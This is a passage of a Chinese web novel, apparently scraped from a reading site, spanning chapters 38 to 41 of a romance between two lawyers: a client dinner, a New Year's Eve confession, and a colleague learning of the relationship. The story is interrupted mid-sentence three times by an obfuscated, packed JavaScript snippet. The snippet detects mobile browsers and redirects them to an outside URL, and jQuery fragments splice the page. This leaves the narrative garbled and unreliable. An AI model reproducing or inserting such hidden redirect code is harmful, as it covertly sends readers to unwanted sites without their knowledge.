好在很快八层就到了，电梯门打开就是两个身穿旗袍体态玲珑的迎宾员，把两人引到了一个包间，及时打断了严熤恨不得手劈电梯的冲动。 门里坐了一个身穿运动服的男人，裸露在外的手臂非常有料，看上去只有二十七八，但身上透着一股成熟男人的韵味。 他看见严熤有些惊讶，看着尹观庭问道：“这就是要介绍给我认识的小朋友？穿这么正式？搞得我都不好意思了。” 严熤不由得侧目。 这就是所谓的新客户？ 尹观庭半点心虚都没有，拉开一张椅子坐了下去，顺手一拍旁边的位置示意严熤坐下。 “他刚刚下班，穿得当然正式，”尹观庭先是回复了男人的问题，然后才给严熤介绍，“这是高新，你叫他发哥就行。” 说完又看着高新：“这是严熤，火羽立的熤。” 听到这个名字这个外号，严熤差点被自己呛到。 高新乐呵呵：“小严同志久仰了，我这名字厉害吧，就是高新技术开发区的那个高新，高哥和新哥都不如发哥，一听就会想到我和周润发一样帅气。” 尹观庭嗤笑一声。 高新的火力立马转移：“干什么干什么，我跟漂亮弟弟说话呢，有你什么事。” 尹观庭端起自己面前的茶，十分淡定：“我什么都没说。” “我还不知道你！”高新差点拍案而起，张口就是一连串话，大意就是吐槽尹观庭人模狗样阴阳怪气一代宗师不说话都知道你没憋什么好屁。 尹观庭则是清风拂山岗，不动如山，甚至把桌上的小菜挪了几样到严熤面前：“尝尝看，他家小菜做的不错。” 严熤被这互动搞得一愣一愣的。 等下意识按照尹观庭的指示夹了一块凉菜喂进嘴里，这才回过神似的看了一眼尹观庭。 他感觉有些新鲜，这样的尹观庭他还是第一次见。 尹观庭很明显和高新很熟，但这种熟悉又不像是他和王信鸿，如果说王信鸿是尹观庭是信任有加的挚友，那这位应该就是那种两肋插刀的损友了。 在高新面前，尹观庭那种漫不经心的放松，无意间透露出来的骨子里的矜傲，是严熤从来没有见过的。 原来尹观庭真的有大少爷作风的一面。 感受到他的注视，尹观庭偏头看他：“嗯？怎么了，不合胃口？” 大少爷又变回了那个温和的师兄。 严熤低头喝了一口茶，随口应付：“没，有点热。” “这里的空调开的很高，可以把外套脱了，”尹观庭不疑有他，耐心回复，顿了顿又想起什么似的，“要是不想脱，也可以让服务员来把空调调低一点。” “不了不了，我没这么讲究。”严熤尴尬别扭害羞还有对自己怒其不争齐齐涌上心头，那滋味别提了。 早知道就不该来。 严熤一边郁闷一边喝茶，突然发现包厢里静了下来。 他敏感地一抬头，就发现高新不知道什么时候停下了喋喋不休，正一脸好奇地左看看右看看，过了十几秒，他“嗷~”了一声。 尾音九曲十八弯。 严熤又有种脸热的感觉，好像自从和尹观庭捅破窗户纸后，他脸上的温度跟安了弹簧似的，一点动静就蹦三尺高。 啊！郁闷加倍，今天果然不该来。 严熤内心又一次感叹。 不知道是不是发现了他的窘迫，尹观庭敲敲桌子，十分正经地说道：“他现在处理常规法律事务已经很熟练了，以后你们公司的事务都给他，没大事别找我。” 高新很识趣地收敛了打趣的神色，也认真起来：“小严律师，重新介绍下，我是新阳体育的负责人，以后你就是我的法律顾问了，多多指教。” 严熤眨眨眼，新阳体育也算是C市的知名企业，旗下的“阳光-X”是C市首屈一指的连锁健身会馆，以服务商务高端人士为噱头，场馆豪华程度和价格成正比。 只是他没在尹观庭那一堆常年法律顾问的客户列表中看见过新阳体育啊。 尹观庭言简意赅地跟他解释：“之前他们公司没法务的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740086|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候都是我在处理，现在法务部建立之后主要就是案件的合作了。这几年他们人事找的法务都是废物，所以要跟我们重新签常顾合同。” 突然公司法务就变成废物的高新敢怒不敢言，还得圆场：“是啊是啊，主要是我们公司的制度合同什么的，都是尹二搞得，小严律师你应该很熟悉才是。” 严熤已经从有点手足无措的状态里解脱出来，闻言和高新客气了一番。 一波商业互吹后，三人总算是沉下心来品尝美食，高新还十分高兴地开了一瓶限定版红酒，拉着尹观庭喝了一会儿，等散伙后，还千叮呤万嘱咐让严熤一定要把尹观庭送回家，不然他这个做兄弟实在放不下心。 严熤面对着感天动地的兄弟情只能答应。 虽然高新看上去也是个人精，他老觉得这家伙话里有话。 等他开着尹观庭的车从地下停车场出来，才有空问：“这位发哥，是师兄你的发小吗？” 尹观庭靠坐在副驾驶上缓神，闻言眼睛都没睁：“看得出来？” 严熤：“嗯，感觉有种气质，跟你一样一样的。” 尹观庭睁开眼睛看他：“这是夸我还是损我呢，我要像他尹观澜估计得清理门户。” 严熤：“……” 不是很懂你们豪门公子的友谊。 尹观庭似乎是以为他对高新感兴趣，随口多说了几句：“他家主要做投资的，但高新只喜欢健身，四肢发达又没有投资眼光，家里怕他败家就限制了他投资，他不太高兴，就来找我，我就帮他规划了一下，成立了新阳体育，这几年做的还不错。” “所以他们其实不需要法律顾问对吗？”严熤听他说完，声音很轻地问。 新阳集团的制度是尹观庭一手打造的，以他的严谨，只要后续找的法务不是弱智，运行都不会有大问题，何况虽然不处理日常事务，凭着高新和尹观庭关系，有什么事情尹观庭难道还会不帮忙吗？也没必要在不签顾问合同几年后突然续签。 “你这是在帮我找客户，这种运行没什么大问题的公司是非诉最容易上手的，而且老板跟你关系这么好，我要是真出了岔子你兜得住。”严熤找了个位置把车停下，把自己的猜想一口气说完。 尹观庭没想到他这么敏锐，一时有些拿捏不住该用什么态度：“闪闪……” 他看上去有些迟疑有些为难。 尹律师与人接触自有气场在此，什么时候有过这种小心翼翼。 严熤感觉自己心里的天平开始飞快倾斜——那是余畅知道要打人的倾斜速度。 他不想让尹观庭为难，显得自己很不识好歹，于是深吸一口气，假模假样地质问：“所以你是真的想炒我鱿鱼吧？” 尹观庭猝不及防：“不是，话题是怎么到这的？” “不是吗，给我找个断头饭，以后我就自生自灭，别想你发工资。” 严熤趴在方向盘上，偏头看他。 尹观庭听出他的玩笑，松了口气，笑了笑：“不会，我说过我舍不得。” 严熤破天荒地没有脸红也没有躲开他的视线，跟他对视两秒后，转头过启动发动机：“坐好，我送你回去。” “嗯？”尹观庭从他的态度里看出了一点端倪，可惜严熤一副开车勿扰的姿势，倒是让他的询问无从开口。 别着急，慢慢来。 尹观庭悄然做了个深呼吸，把失落和期待一并清除。 这才发现高新给他发了一条信息。 社会你发哥：刚刚忘记问了，你说没大事不找你，什么算大事？ 尹观庭：你破产倒闭。 社会你发哥：？？？ 社会你发哥：尹二你踏马…… 后续尹观庭没再看，他发完消息直接退出了微信界面，靠在副驾驶上闭目养神。 等着意中人送他回家。 39. 第 39 章 严熤很快上手了新阳体育的常规事务，正如他所判断的那样，这样的公司上手难度低，事务繁杂但不复杂，低年级律师独立负责有一定的压力但又不至于手足无措，用来练手再合适不过。 更重要的是，新阳体育付费能力极强，尹观庭又只是按照行业惯例，从律师费中收了20%作为介绍费，剩下的近十万律师费都划进了严熤的钱包。 这收入别说他同期的律师助理了，就是比他高一两个年级的律师都得羡慕得流泪。 律师这个行业，看着光鲜亮丽，内里差不多就是个体工商户，开拓自己案源说起来简单，但有没有那块敲门砖简直是决定你入门还是入土的关键。抛开尹观庭对他的那些心思不谈，光是尹观庭引荐了这样一个顾问单位，就对严熤日后的发展奠定了至关重要的第一步，于情于理严熤都该好好谢谢他。 但要送什么谢礼简直是愁坏了严熤。 感情上分析他直接答应尹观庭的追求大概就是最好的谢礼了，但理智制止了他，这显得他被尹观庭包养了一样，平白显得两个人都很掉价。 但送礼这事真的是令人惆怅。 想了半天没有结果的严熤决定按照一贯的思路直球出击，这天在办公室和尹观庭一起吃完午饭，收拾好碗筷之后没着急走，确认办公室门关好之后，他一屁股在尹观庭对面的椅子上坐了下来。 尹观庭一挑眉，这几天严熤吃完就走，活像有鬼在追，要不是晚上下班或者周末还能把人约出来，他都要开始怀疑严熤是不是想通了准备拒绝拉黑辞职跑路一条龙。 “师兄，”严熤没给他多想的时间，很快凑到了他面前，“你……有没有什么特别想要但还没有的东西？” 尹观庭不动声色地往后退了退，避开他的呼吸，然后冲着他露出一个意味深长的笑。 “不是我！我问的是东西！”严熤秒懂他眼神的含义，有点害羞又有点暴躁地一拍桌子，“我又不是东西，不对，我的意思是……我靠！尹观庭你烦不烦！” 尹观庭淡定地端起咖啡喝一口：“成长了啊闪闪，现在敢跟我大呼小叫的了。” “哼，迟早有天我要报复回来。”严熤不服气地嘀嘀咕咕。 尹观庭没听清：“什么？” “没什么没什么，”严熤赶紧摇头，“我说认真的，新阳这个事情你帮我太多了，我想了好几天没想到要送点什么，为了避免送的不适当我们都尴尬，不如直接问问你想要什么。” 坦白完，严熤警惕地看他一眼：“我是问你需要什么动产，动产！” “好了好了不用强调，我知道了，动产，”尹观庭失笑，“但我不管是不动产还是动产都不缺，这样吧……” 他沉思了一会：“就用一个同意来谢谢我吧。” 严熤脑海里瞬间转过一千八百个的念头，谨慎地试探道：“同意什么？首先说我不喜欢看电影。” 尹观庭：“……” 防得还真严实。 不过没关系，有plan B。 他很自然地说出自己的计划：“电影不感兴趣，那灯光秀呢？你应该知道云鼎桃源，我是那儿的会员，他们每年元旦都有针对VIP客户的跨年城市灯光秀，”尹观庭顿了顿，“每年去的人不是一家就是一群，我一个人总是格格不入，今年也想融入一下人群，不知道小严律师给不给机会？” 严熤有理由相信尹观庭的描述里肯定有水分，那地方的客户怕不是一群一群的而是一对一对的吧！ 而且跨年夜灯光秀，这怎么看都是万事俱备只欠东风了，这下答应的可不一定只是看一场秀那么简单。 严熤有些迟疑。 但是云鼎桃源可是C市最高端的餐厅了，位于最繁华的CBD的中段，毗邻中央人民公园，每年都会花大价钱举办灯光秀，虽然是服务VIP，事实上全市人民都可以看，只是在公园广场上可以看个热闹，想看匠心排列的灯光还得航拍或者云鼎自己的观景台。 但中央公园附近禁止飞无人机，所以云鼎自己的观景点就是唯一一处可以揽胜全景的地方。 这种餐厅升斗小民这辈子别说去吃饭，就是大门都不一定会进去。 就很心动。 就在他纠结犹豫的同时，尹观庭很快给出了台阶：“现在还有十几天，你可以慢慢想，放假前告诉我就行。” 严熤：“……” 自从上次挑明之后，尹观庭经常会给他发出这种私人性质的邀约，严熤算是跟着他把C市一些吃喝玩乐的地方逛了个遍，而且尹观庭这期间也不干什么，要不是（严熤以为的）不经意间漏出的一两句暧昧话语，严熤真的就以为自己是跟着一个关系特别好的兄弟吃香喝辣。 三五次过去，严熤已经开始麻木了，就算一开始接到邀请不想答应，而尹观庭也会表现的十分耐心且大度，充分给予严熤选择的自由和空间，当然严熤最后还是会败在“拒绝他不太好毕竟还要共事”的心态上，然后去面对尹观庭丝毫不意外的态度。 现在又来这招是吧？！ 严熤突如其来一阵胜负欲：“不用考虑了，我答应。” 尹观庭愣了一下。 严熤内心“哼”一声，小爷还不能让你惊讶一次了。 尹观庭很快反应过来，露出一个真心实意的笑容，一手抚胸微微欠了欠上半身：“我的荣幸。” 严熤：“……没事的话我去工作了你不是要午休吗赶紧睡吧！” 说完没等尹观庭回应，他“噌”地站起来飞快出门。 等回到自己工位，他才伸手摸了摸胸口，刚刚快速跳跃的心脏已经平缓下来了。 见鬼，严熤你完了！ 年底世界线收束，各类打工人开始生不如死地沉浸在各种年终总结报告中，严熤大概是其中比较惨的一类，从事咨询服务的行业不仅要给自己家做年终总结，还得给各个客户写总结。 对于尹观庭这种级别的律师来说，客户不算很多，但各个都是大爷，得供着，年终述职报告要做得跟精装书一样，力争让金主一眼看去就觉得钱没白花。 于是乎纵然数量不多，严熤也忙得晕头转向，等他挣扎把最后一个述职报告送到打印店做封面和胶装，元旦假期已经到了。 他得去赴一场明知道会发生什么的约会。 明明是晚上开始的宴会，严熤几乎坐立不安了一整天，连打游戏都心不在焉的，一不小心坑了余半仙好几把，气的半仙恨不得打飞的过来打人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740087|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晚上六点，尹观庭的奔驰停在了他家楼下。 严熤几乎前所未有地紧张起来，等他下楼坐进车里，几乎能感觉大腿绷紧又放松后的酸胀感。 不知道是不是错觉，他总觉得尹观庭今天应该也是打扮过的，虽然尹观庭平时的穿着就挺讲究的，但不像今天，剪裁得体的正装，领带上卡了一个银色的领带夹，低调奢华，袖口上是与领带夹同色的袖扣，路灯偶尔经过上面，会折射出一片绚丽的光。 严熤以自己浅薄的宝石辨认知识，认出来这材质应该是钻石，而且是那种切割工艺非常顶尖的钻石。 看完尹律师的打扮，再看看自己休闲卫衣羽绒服牛仔裤…… 严熤有点心虚：“师兄，你确定我不会被赶出来？” 尹观庭跟才注意他打扮一样，看了一下他的着装，忍俊不禁：“放轻松，又不是什么正式宴会，想穿什么穿什么。” 严熤语气幽幽：“师兄我看错你了，自己穿得跟个开屏孔雀一样，还不告诉我，用我来衬托你是吧，好心机啊你。” 尹观庭其实看出来严熤今天有点紧张，特地控制了言行，不想给他增加压力，结果某人非要凑上来。 他学着严熤幽幽叹口气：“闪闪，那你说孔雀什么时候会开屏呢？” 严熤：“……” 招惹尹观庭结果把自己搭进去的事情不是一次两次了，怎么就不长记性！ 严熤内心恨恨一握拳，扭头假装专心致志地看风景去了。 尹观庭由着他，善解人意地转移了话题，严熤很快加入，抛开那些暧昧难明的因素，两人一路聊得十分愉快。 友好交谈的气氛再次止步于进入云鼎桃源之后。 心机的餐厅直接把桃花布满了整个大厅，既符合主题，又不显得艳俗，还十分巧妙地营造出了桃花朵朵开的意境。 严熤左右看看，根本没发现尹观庭说的一家或者一群，全是衣着华丽两两成对男人女人，他和尹观庭两个大男人，还都面容出众，几乎一进门就受到了眼神洗礼。 严熤自己从不怯场，这还是第一次和社恐感同身受，觉得自己这辈子都没这么不自在过。 他不由自主绷紧神态，跟着尹观庭走到观景台最边缘的位置，四周的绿植隔出一片小小的封闭空间，同时隔离了四面八方的视线，灯光透过竹编的灯罩隐隐绰绰地洒下来，一支桃花从桌上的花瓶中伸出来，在灯影中娇艳欲滴地绽放着。 他转头看向落地窗外，四周的高楼灯光正在持续闪烁做着调试，楼下公园广场装饰着各式亮度不高的彩灯，密密麻麻的人群变成一个个小黑点，正成批打开手机电筒照明或者挥舞，星星点点的白色灯光逐渐连成一片，汇聚成海。 严熤看得入迷，连尹观庭什么时候结束了和侍者的对话都不知道。 等他转过头，就和尹观庭专注而柔和的眼睛对上了视线，里面清晰地映衬着他的身影。 这片小小的空间安静下来，呼吸可闻。 严熤就这么愣愣地和尹观庭对视，不知道过了多久，又或许只过了几秒钟，他看到尹观庭眼中的自己逐渐放大，柔软的触感落在了唇上。 尹观庭在他耳边低低地说：“闪闪，你答应我了。” 40. 第 40 章 在严熤对今晚的想象中，绝对不包括这个吻，以至于当唇上的温度离开时，他脑子里还是一团浆糊。 等尹观庭在他耳边说出那句话时，他更是浑身一激灵，下意识伸手抓住了尹观庭的手腕。 动作不知道是亲近还是抗拒。 他感觉自己应该说点什么，但是在抬头说话的一瞬间看见到了尹观庭的唇，目光莫名其妙就被吸引了。 他似乎从来没有仔细观察过尹观庭的嘴唇的长什么样子。 尹观庭本身五官的组合和周身的气质过于抢镜，以至于身体的各个部位像是融入花海的花，得不到旁观者专门的青睐。 但严熤此时却像是被一朵桃花吸引了目光的游人，被淡粉润泽的色泽吸引，产生了想上手摸一摸的冲动。 从刚才的触感来看，那应该是很柔软的。 “闪闪，”尹观庭的声音打断了他的注视，“你再这么看下去，我会以为你在邀请。” 严熤一下坐直身体：“我没有！” 好吧其实他有，作为母胎单身多年的青年男子，好奇亲吻是什么感觉在正常不过了，而刚才尹观庭回去的太快，他感觉嘴上一暖一软，就没了。 感觉亏了一个亿。 而刚才的感觉越短就越想回忆，越想回忆思维就开始越发走偏，严熤在脑内彻底变色前踩了刹车，端起已经温凉的茶水猛灌一口，彻底把神魂拉回体内。 他认真看着尹观庭：“我……” “两位先生，你们的菜品到了。”严熤的话被彬彬有礼的服务员打断了，接着便是四五个穿着黑红中式盘扣马褂的侍者端着餐盘走过来，而最前面领头的两个旗袍姑娘则把菜品挪到桌上。 “二位的菜已经齐了，提前祝二位新年快乐，我们准备的灯光秀在晚上11点45分开始，持续15分钟，从晚八点到凌晨一点，我们会持续为您提供服务，此外，我们还准备了免费的餐后甜点和饮品，如果有想要，请随时按铃呼叫我们，祝二位用餐愉快。” 领头的姑娘带着甜美的笑容说完一大串话，侍者们这才鱼贯而出。 而严熤被这架势唬得一愣一愣的，等人走后，情绪都不连贯了。 而尹观庭则是一副洗耳恭听的样子。 严熤：“……我饿了。” 尹观庭失笑：“你刚刚就想跟我说这个？” 并不是，但现在补上也太不对劲了，严熤只能不情不愿地点点头。 他感觉尹观庭似乎叹了口气，但抬眼看过去又没发现什么异常，就听他温声言道：“那就吃吧，不用跟我讲礼节。” 云鼎桃源是家中式餐厅，菜品将色香味俱全贯彻到底，而且尹观庭点的全是他平时爱吃，开吃之前严熤还有些说不清道不明的遗憾，等第一口菜下肚，严熤已经将这点遗憾抛到九霄云外了。 而尹观庭自顾自宣布那句“你答应我了”似乎成了事实，他晚上吃的清淡或者不怎么吃，于是在严熤埋头苦吃的时候，他充分发挥男友的作用，试不试帮他挪挪食物位置或者倒点饮料什么的。 可惜严熤不喜欢吃带壳的海鲜。 尹律有点遗憾。 严熤可感受不到这个，他只觉得今天尹观庭对他的照顾已经超标了，之前和尹观庭一起吃晚饭的时候，尹观庭还会克制克制，现在简直把他当成了什么生活不自理的儿童，就差把饭喂嘴里了。 在尹观庭又一次试图帮他倒满饮料时，严熤受不了了，伸手掩住杯口：“等等等等，停一下。” 尹观庭倒果汁的动作一顿，放了回去。 严熤松了一口气：“师兄，不用这么照顾我的，我又不是不会吃饭。” 尹观庭略微反省一下，发现自己似乎是有点过火，于是虚心接受：“好吧，那你继续吃，有什么需要的跟我说。” 他收敛了那些过分的关心，恢复了平时的姿态。 但双手已经不自觉交叉在一起，右手大拇指在左手大拇指上频繁的点着。 严熤很熟悉他这个动作，尹观庭感到烦躁时就会这样，而他的情绪波动更是很小，一般感到烦躁只有两个原因，一是被傻X干的离谱事气到了，二是事情没做完美被自己气到了。 结合上下文，现在这肯定是第二种情况。 原来你也不是自己表现的这么游刃有余嘛。 严熤心情飞扬起来，笑弯一双眼睛：“我吃饱了~” 尹观庭不知道他怎么突然高兴起来，但看着他的笑还是觉得心尖发软，内心的一点懊恼被抚平了，他点头回应：“离灯光还有一会，现在有甜点了，有没有想吃的？” 严熤拿勺子轻轻搅动碗里没喝完的汤：“师兄你有没有推荐？” 尹律十分养生，甜品这种高热量的东西几乎不吃，严熤笑眯眯地看着他，似乎很期待他的推荐，“我要为难你”几个字几乎写在了脸上。 尹观庭顿了顿，面不改色地摁响服务铃，训练有素的黑红马褂很快出现：“先生，请问有什么可以帮助您？” 尹观庭：“你们有什么招牌甜品。” 热闹看不了了，严熤遗憾地把眼光转向黑红马褂，在他报出来的一系列甜点中选了几个自己喜欢的。很快，就有人来收拾了残留的餐盘，并且把新点的甜点端了上来。 严熤就着新上的甜点开始和尹观庭漫无边际的聊着天，想到什么说什么，等餐厅响起音乐，提醒各位客人灯光秀即将开始时，他还有几分意犹未尽。 尹观庭看上去也有同感，眼里是明晃晃的遗憾。 严熤看乐了，端起杯子冲他晃了晃：“新年快乐！” 尹观庭收敛住遗憾的情绪，脸上浮现出一抹微笑，同样举杯：“新年快乐。” 激昂的音乐响起，窗外炸开了一朵又一朵绚烂的灯花，很快吸引了所有人的注意。 严熤的脸在灯光映衬下明明灭灭，似乎沉浸在灯光表演中，又似乎沉浸在自己的思绪里。 尹观庭眼神不受控制地移了过去。 以前他也没发现自己有这么深的探究欲，年轻的时候他还有些八卦的精力用在别人身上，随着年纪和阅历的增长，保持社交距离几乎成了本能。 就像他过去不关心自己那些助理是为什么没有做好 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哪怕隔着几十米的高度，隔着效果良好的隔音玻璃，严熤依然能听到那股欢呼中蕴含的激动感情。 连带着他身体的血也烧了起来。 他伸手抚上心口，里面的器官正在飞快地跳动，不知道是被人群的氛围感染还是为他即将要做的事情紧张。 他深吸一口气，转过头看着尹观庭：“师兄！” 尹观庭明显有些心不在焉，被他突然喊了一声竟然手抖了一下。 高脚杯里的红酒摇晃了起来。 严熤脑子里不自觉循环起“摇晃的红酒杯”，似乎被不存在BGM里激昂的电音刺激了血液，他竟然感觉自己呼吸有些颤抖。 “我刚刚想跟你说，被那个服务员打断了。” 尹观庭好像感觉到他想说什么，不由自主地坐直了一点， “之前你让我跟你一起来云鼎的时候，我就知道你要干嘛了，这个环境太适合表白了对吧？傻子才猜不到会发生什么，但我还是答应你了。” 严熤定定看着他：“其实我当时……并没有想好，但是鸵鸟心态你懂吧，我想着走一步算一步，我……” 他感觉口腔有点干，于是停下话语，端起杯子喝了一大口果汁。 略微有些冰凉的口感冷却他过热的大脑。 尹观庭声音很轻地开头，像是怕吓到他：“那现在想好了是吗？” “对，我想好了，”严熤语速很快地回复，又深呼吸了一下，才做出了什么决定一样，朝尹观庭的方向倾身而去。 尹观庭的眼眸里顿时染上了惊讶。 严熤在他脸颊边亲了一口，并且有样学样地在他耳边也压低声音说道：“你说的我答应可不算，我自己说的才算。” 新年的第一道钟声已经过去，但尹观庭似乎又听到了新年启程的鸣音。 41. 第 41 章 王信鸿感觉尹观庭最近不太对劲。 这种不对劲的表现在方方面面，在今天早上的时候达到了顶峰。 今早他久违地大清早回一趟律所，停好车后在不远处看见到了熟悉的车，于是王主任下车，正准备打个招呼，就看见尹观庭车上下来，目不斜视地掀开了车辆的引擎盖，似乎是在检查什么。 接着严熤从副驾上下来，手里还捧着一个蛋糕仔，凑到尹观庭身边，跟着探头往里看，尹观庭不知道跟他说了什么，严熤收回动作，人却没走，而是站在尹观庭身边吃蛋糕仔，自己吃一个，给尹观庭喂一个，动作那叫一个自然。 王主任半截儿到嘴边的招呼顿时咽了回去。 然后就看见严熤吃完蛋糕仔，打开车门提下来两个包，尹观庭则是合上引擎盖，从严熤手里接过其中一个，两人肩并肩走向了电梯口。 他那么大一个人杵在旁边，这俩人愣是没一个人注意到！ 虽然说他是交代了尹观庭好几次让他对严熤好点，但这关系好像已经不是好点的程度了，王主任使劲回忆了一下，印象中作为对尹观庭掏心掏肺的大师兄，这小兔崽子也没对自己这么亲近过。 怀着莫名的酸气，王信鸿处理了早上的事情，卡在午休前晃悠进了尹观庭的办公室。 尹观庭正对着电脑工作，见他进来，十分自然地招了招手：“来的正好，我有个东西给你看下。” 他伸手从旁边拿过手机，从微信上发了几个文件给王信鸿：“这是我这边找到的一些资料，我觉得有必要跟宏远那边做个提示。” 八卦的心思顿时被正事打断了，王信鸿暂时收敛好奇心，点开尹观庭发过来的文件看了起来，这是一份调查报告，内容基本都是针对谭穆的，包括他入职宏远之后接手的项目，以及这些项目中存在的偷工减料和贪腐问题，一些情况显然不是正常渠道能拿到的。 王信鸿猛地按灭手机，惊疑不定地看着他，压低声音问道：“你哪儿来？” 尹观庭给了他一个稍安勿躁的眼神：“从尹观澜的路子走的。” 王信鸿有些新奇：“哟，你们哥俩和好了？你不是说你哥懒得管你这些事吗？” “要说和好早就算和好了吧，”尹观庭扯了扯嘴角，“至于这件事，他知道兰玉延回国了结果还不告诉我，自己理亏。” 王信鸿还没想好谭穆这个事情要怎么处理，就听尹观庭点了一个炸弹，人差点没坐稳：“谁？！等等，你……”没事吧？ 后面几个字咽了回去，坐在面前的人脸色正常身体正常情绪正常，但就是哪儿哪儿都正常才是最不正常的！ 他是少数几个知道尹观庭和这个前男友纠葛的人，他俩分手后尹观庭的颓废他也是看在眼里，当年他回老家创业拉上尹观庭，除了看中他的能力之外，还有一个原因就是希望帮尹观庭换换环境，别在京城触景生情，也别老跟劳动人事死磕了。 结果后面尹观庭对劳动人事案件避如蛇蝎，王信鸿才开始头大，怀疑自己是不是矫枉过正了，但转念一想，又觉得应该是尹观庭情伤受大发了，特别是尹观庭之后守身如玉，更加坚定了他的想法。 所以这些年他老是在尹观庭接案子的选择上敲边鼓，就是希望师弟能走出情伤走出阴影。 结果这个在他这里堪称禁忌的名字就这么轻描淡写的说出来了？ 他脸上的茫然太过明显，以至于尹观庭不得不出声询问：“怎么了？” 王信鸿还没想好怎么说，突然有发现了一个华点：“等等，你说你哥没跟你说兰玉延回国了，那你怎么知道他回国的？你见过他了？” “对，”比起初见兰玉延时的复杂难辨，尹观庭现在堪称心如止水，“之前在明河楼下碰见过，随便聊了几句。” 他这么坦然，倒是搞得王信鸿没法再破防，只是就算过了这么多年，以尹观庭这种十年前一个代理词没写好都能记到今天的性子，兰玉延父亲那个案子带给他的阴影不比没写好十个代理词来的强？ 别扭了这么多年，他怎么突然就能面对了？ 早上见到的一幕幕浮现出来，王信鸿某个惊悚的猜测似乎成了真，他在脑内一片混乱中脱口而出一句质问：“是不是小严？！” 尹观庭：“？” 这不是在说兰玉延吗，怎么又扯到严熤了。 王信鸿组织了一下语言，决定试探一下：“不是，我是说，你不是一直没忘得了兰玉延吗，这次他回国，没想过破镜重圆？” 尹观庭用一种看傻子的眼神看他：“我跟他分手十几年了，早就断干净了，你别给我按一些奇怪的帽子。” 王信鸿再接再励：“说的也是，但是吧，你也老大不小的了，外貌能力都是顶尖，该关心下自己了。” 尹观庭渐渐回过味来，有些古怪地看了他一眼。 王信鸿憋着尴尬跟他对视。 尹观庭想了想，干净利落地开口：“不用考虑了，我和严熤谈上了。” 王信鸿：“……” 王信鸿：“……” 王信鸿：“……” 猜测成真，王主任拍案而起：“你这个！你这个！” 这个了半天，他也没能想出来自己要说什么，虽然在他看来严熤还是个小孩儿，但这个小孩其实已经二十四五了，他管不了人家谈不谈恋爱，更别说尹观庭了，这位大少爷谁管得住。 尹观庭倒是非常心平气和：“没什么好遮掩的，我认真的。” “这不是你认不认真的问题，”王信鸿坐下，抹了一把脸，“你什么人品我当然知道，但是观庭，这件事爆出来你知道会有什么后果，你是没关系，小严可就毁了。” 众口铄金，谁在乎你们是不是真爱，大家只会不齿严熤卖身求荣，还是卖给一个男人。 尹观庭表情平静：“我知道，所以你先保密。” 王信鸿：“那你之后打算怎么安排小严，不是还让他跟着你吧？” 尹观庭：“不可以？” 王信鸿：“你拉倒吧，你那个护短的毛病我还能不知道，这会儿你跟他好上了，对他做的事情还能说一句不好？他现在执业初期正是需要严格要求的时候，你这么一来他还能有进步？” 尹观庭默然。 他想起上周末严熤给新阳出具的一个回复意见，其实在他看来还有可以改进的地方，但看见严熤加一天班后窝在他身边休息的样子，最后那句再改改没能说出口。 然后还是他自己动手改了把修改版交给严熤学习的。 思及此，尹律虚心求教：“那让严熤回你那儿？” “不行，”王信鸿一口拒绝，他最反对的就是办公室恋爱，要是闹翻了工作还能不能做了，“我可不想他受了委屈结果你来找我麻烦。” 尹观庭：“……你该对严熤有点信心，他不是这种人。” “这倒是，”王主任只是一时间被这个事实震撼到了，对严熤这个小师弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740089|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本人还是挺满意的，“这样吧，你抽空问问小严，他想做哪方面的业务，我看着推荐一下，总之我是不建议他继续跟着你的。” 尹观庭沉吟一会：“我知道了，说回正事吧。” 他点了点手机屏幕：“我的想法是，把里面涉及的问题隐晦地和张总提一下，这份报告不适合直接给他们，关于他们集团的合规性报告，建议在人事管理和项目安全上标红。” 王信鸿叹了口气，有种刚出狼窝又入虎穴的感觉：“这样张总肯定不同意，因为清溪那个事情，他们本来就在住建局那里挂上了号，再给这么一份报告，他很难交代。” 尹观庭：“我会去探一下住建局唐主任的口风，但你看见了，谭穆这人是个不稳定因素，要是略过他那我们的风险就太大了。” 这句话说服了王信鸿：“也是，那我再跟张总沟通一下吧。” 尹观庭一时没说话，过了一会才说：“我想……” 王信鸿顿时好奇：“想啥？” 尹观庭：“谭穆似乎是谭英的亲戚，他跟张总之间的矛盾不是已经快没法调和了吗？” 王信鸿经他提醒，顿时悟了：“你是说，让张总用这个借口收拢股权？不行，我跟他聊过，他是有把谭英赶出去的想法，但现在他手上的资金根本不够，而且谭英肯定不会卖。” “那是之前，现在不是有新东西了吗，”尹观庭再次伸手点点手机屏幕，“而且宏远不是在谋求上市吗？你该告诉他，这些东西不扫干净，他不可能上市。” 